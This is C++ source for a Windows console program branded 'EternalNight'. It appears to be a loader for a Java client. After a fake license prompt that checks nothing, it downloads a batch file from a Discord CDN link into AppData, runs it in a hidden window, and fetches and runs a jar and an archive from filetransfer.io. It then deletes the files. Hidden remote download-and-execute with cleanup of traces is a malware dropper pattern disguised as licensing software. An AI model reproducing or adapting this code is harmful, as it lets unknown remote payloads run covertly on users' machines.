#include <iostream>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <stdexcept>
#include <locale>
#include <KnownFolders.h>
#include <ShlObj_core.h>
std::string get_hwid()
{
DWORD volumeSerialNumber;
if (!GetVolumeInformation("C:\\", NULL, 0, &volumeSerialNumber, NULL, NULL, NULL, 0)) {
throw std::runtime_error("Не удалось получить HWID");
}
return std::to_string(volumeSerialNumber);
}
void download_file(const std::string& url, const std::string& path, int retries = 3)
{
HINTERNET hInternet = InternetOpen("DownloadAgent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
throw std::runtime_error("Не удалось открыть интернет-сессию");
}
HINTERNET hUrl = NULL;
DWORD bytesRead = 0;
char buffer[4096];
while (retries-- > 0)
{
hUrl = InternetOpenUrl(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {
std::cerr << "Не удалось открыть URL: " << url << ", Попыток осталось: " << retries << ", Ошибка: " << GetLastError() << std::endl;
continue;
}
HANDLE hFile = CreateFile(path.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Не удалось создать файл: " << path << ", Ошибка: " << GetLastError() << std::endl;
InternetCloseHandle(hUrl);
continue;
}
bool success = true;
do {
if (!InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead)) {
std::cerr << "Не удалось прочитать данные из URL: " << url << ", Ошибка: " << GetLastError() << std::endl;
success = false;
break;
}
if (bytesRead == 0) {
break;
}
DWORD bytesWritten;
if (!WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL) || bytesWritten != bytesRead) {
std::cerr << "Не удалось записать данные в файл: " << path << ", Ошибка: " << GetLastError() << std::endl;
success = false;
break;
}
} while (bytesRead > 0);
CloseHandle(hFile);
InternetCloseHandle(hUrl);
if (success) {
std::cout << "Файл успешно загружен: " << path << std::endl;
InternetCloseHandle(hInternet);
return;
}
else {
std::cerr << "Не удалось загрузить файл с URL: " << url << ", Попыток осталось: " << retries << std::endl;
}
}
InternetCloseHandle(hInternet);
throw std::runtime_error("Не удалось загрузить файл с URL: " + url);
}
void execute_file(const std::string& path)
{
HINSTANCE result = ShellExecuteA(NULL, "open", path.c_str(), NULL, NULL, SW_HIDE);
if ((int)result <= 32) {
throw std::runtime_error("Не удалось выполнить файл: " + path);
}
std::cout << "Файл выполнен: " << path << std::endl;
}
std::string getAppDataPath() {
PWSTR path;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &path))) {
std::wstring ws(path);
CoTaskMemFree(path);
return std::string(ws.begin(), ws.end());
}
else {
throw std::runtime_error("Не удалось получить путь к папке AppData");
}
}
int main()
{
setlocale(LC_ALL, "Russian");
std::string appdata;
try {
appdata = getAppDataPath();
}
catch (const std::runtime_error& ex) {
std::cerr << "Ошибка: " << ex.what() << std::endl;
return 1;
}
SetConsoleTitle("EternalNight");
std::cout << R"( /$$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$ )" << std::endl;
std::cout << R"(| $$_____/| $$ | $$| $$$ | $$|__/ | $$ | $$ )" << std::endl;
std::cout << R"(| $$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ | $$| $$$$| $$ /$$ /$$$$$$ | $$$$$$$ /$$$$$$ )" << std::endl;
std::cout << R"(| $$$$$ |_ $$_/ /$$__ $$ /$$__ $$| $$__ $$ |____ $$| $$| $$ $$ $$| $$ /$$__ $$| $$__ $$|_ $$_/ )" << std::endl;
std::cout << R"(| $$__/ | $$ | $$$$$$$$| $$ \__/| $$ \ $$ /$$$$$$$| $$| $$ $$$$| $$| $$ \ $$| $$ \ $$ | $$ )" << std::endl;
std::cout << R"(| $$ | $$ /$$| $$_____/| $$ | $$ | $$ /$$__ $$| $$| $$\ $$$| $$| $$ | $$| $$ | $$ | $$ /$$)" << std::endl;
std::cout << R"(| $$$$$$$$| $$$$/| $$$$$$$| $$ | $$ | $$| $$$$$$$| $$| $$ \ $$| $$| $$$$$$$| $$ | $$ | $$$$/ )" << std::endl;
std::cout << R"(|________/ \___/ \_______/|__/ |__/ |__/ \_______/|__/|__/ \__/|__/ \____ $$|__/ |__/ \___/ )" << std::endl;
std::cout << R"( /$$ \ $$ )" << std::endl;
std::cout << R"( | $$$$$$/ )" << std::endl;
std::cout << R"( \______/ )" << std::endl;
std::cout << "[+] Введите ключ: " << std::flush;
std::string license;
std::cin >> license;
try {
// Аутентификация
std::cout << "Проверка ключа и HWID..." << std::endl;
// Предполагается, что flux::authenticate проверяет ключ и HWID
std::string hwid = get_hwid();
std::cout << "Валидный HWID: " << hwid << std::endl;
// Загрузка load.bat
std::string load_bat_path = appdata + "\\load.bat";
std::cout << "Загрузка load.bat..." << std::endl;
download_file("https://cdn.discordapp.com/attachments/1254906682417479752/1259850621163667547/load.bat?ex=668d2ed2&is=668bdd52&hm=0283dadb1e9c0e0db589a69dc6e367938079510389450038e6c9171f34a02905&", load_bat_path);
execute_file(load_bat_path);
// Загрузка client.jar
std::string client_jar_path = appdata + "\\client.jar";
std::cout << "Загрузка client.jar..." << std::endl;
download_file("https://filetransfer.io/data-package/xeUw2AEm/download", client_jar_path);
std::string zip_arhiv_path = appdata + "\\1.rar";
std::cout << "Загрузка 1.rar..." << std::endl;
download_file("https://filetransfer.io/data-package/gL71vKxH/download", zip_arhiv_path);
// Выполнение client.jar (предполагается, что пользователь имеет установленную Java и файл можно запустить с 'java -jar')
std::string command = "java -jar \"" + client_jar_path + "\"";
system(command.c_str());
std::cout << "client.jar выполнен" << std::endl;
// Удаляем файлы после успешного выполнения операций
if (std::remove(load_bat_path.c_str()) != 0) {
std::cerr << "Не удалось удалить load.bat" << std::endl;
}
else {
std::cout << "Удаление load.bat выполнено успешно" << std::endl;
}
if (std::remove(client_jar_path.c_str()) != 0) {
std::cerr << "Не удалось удалить client.jar" << std::endl;
}
else {
std::cout << "Удаление client.jar выполнено успешно" << std::endl;
}
if (std::remove(zip_arhiv_path.c_str()) != 0) {
std::cerr << "Не удалось удалить 1.rar" << std::endl;
}
else {
std::cout << "Удаление 1.rar выполнено успешно" << std::endl;
}
}
catch (const std::runtime_error& ex) {
std::cout << "Ошибка: " << ex.what() << std::endl;
return 1;
}
// Пример использования flux::variables::get для получения секретного значения
std::cout << "Секретное значение: " << "flux::variables::get<std::string>(\"secret\")" << std::endl;
system("pause");
return 0;
}